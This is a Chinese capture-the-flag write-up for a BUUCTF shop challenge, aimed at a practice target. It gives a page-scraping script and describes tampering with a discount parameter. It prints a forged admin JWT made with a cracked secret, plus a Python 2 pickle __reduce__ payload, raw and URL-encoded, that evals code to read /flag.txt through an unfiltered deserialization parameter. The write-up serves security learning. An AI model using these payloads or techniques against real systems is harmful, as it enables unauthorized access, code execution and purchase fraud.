1.根据提示找到lv6
BUUCTF在线评测 (buuoj.cn)开启靶机之后打开网址
可以看见给了一个提示,找到lv6
这个页面拖下去可以换页,网址为http://67b003ca-db11-4455-9913-a86456a6db00.node5.buuoj.cn:81/shop?page=2
所以目标就是,在换page后的数字的每一个页面查询有没有lv6,查看页面源码
可以发现js代码里面图片的命名方式是带有等级数的
目标:更换page数字后,在js代码中搜索关键词/static/img/lv/lv6.png,输出找到的这个page数
我们写一个python脚本完成这件事
import requests
import re
def check_for_keyword(page_num):
url = f"http://67b003ca-db11-4455-9913-a86456a6db00.node5.buuoj.cn:81/shop?page={page_num}"
response = requests.get(url)
if response.status_code == 200:
js_code = response.text
if re.search(r'/static/img/lv/lv6.png', js_code, re.IGNORECASE):
print(f"页面 {page_num} 中包含关键词 'lv6'")
else:
print(f"页面 {page_num} 中不包含关键词 'lv6'")
else:
print(f"请求页面 {page_num} 失败")
# 从页面 1 开始查询,直到你需要的范围,例如替换 range(1, 11) 查询页面 1 到页面 10
for page_num in range(1, 1000):
check_for_keyword(page_num)
把上面的网址换成自己的就可以了
可以发现在181页发现这个关键字
我们跳转过去
发现了lv6
2.购买lv6
点击购买
跳转注册信息
注册之后正常登录点击购买
结算发现无法结算,我们账户的钱不够,但是这里优惠券打折了,我们抓包试试看
发现这里discount是我们可以修改的,虽然不知道他后台还有没有验证打折购买代码,但是我们可以先试试看
修改discount看看forward之后
发现只允许admin访问,这里采用了身份验证,回头去看一下刚刚的数据包,包中有jwt关键字,很可能采用了jwt去做身份验证
把这个jwt放到jwt解码网址去看看
可以发现这里用的加密方式是HS256加密,我们的username是我们注册的用户名,我们需要把username改成admin,jwt加密还需要一个秘钥,我们要解出给出的jwt的秘钥才可以加密修改username后的内容
我们可以用jwtcracker去解密:这里贴出这个脚本的下载
我们知道秘钥是1Kun后,加密
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
修改数据包中的jwt,这里会出两个数据包,记得都要改jwt
点击一键成为大会员之后没反应,我们查看源代码看看
发现可以下载源码,我们下载下来
3.分析源码
我们用bandit去python代码的审计
里面有一个黄色的高危提示,我们可以按照这个文件名查看一下代码,发现这里become是一个可以get提交的变量,这个变量进行了先urllib解码再反序列化,这里并没有去过滤变量的内容
我们查看一下哪里用了这个类实例化了对象
全局搜索关键字
发现就在刚刚这个购买大会员的网址下面提交,抓包之后
发现数据包里become变量值是admin, 我们写一个脚本修改这个值,他的环境是python2,所以我们写的代码也得是这个环境
目标:输出一个在python2下可以读取flag文件,并且是序列化后用urllib加密的数据(这里的脚本是我看大佬写的)
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval,("open('/flag.txt','r').read()",))
a=pickle.dumps(payload())
a=urllib.quote(a)
print a
这个代码利用dumps序列化触发reduce魔术方法,魔术方法调用代码执行读取flag.txt的内容
我没有python2环境,所以直接在网上在线编辑器里写的
payload:c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
抓包之后修改become的值
把包放出去可以得到flag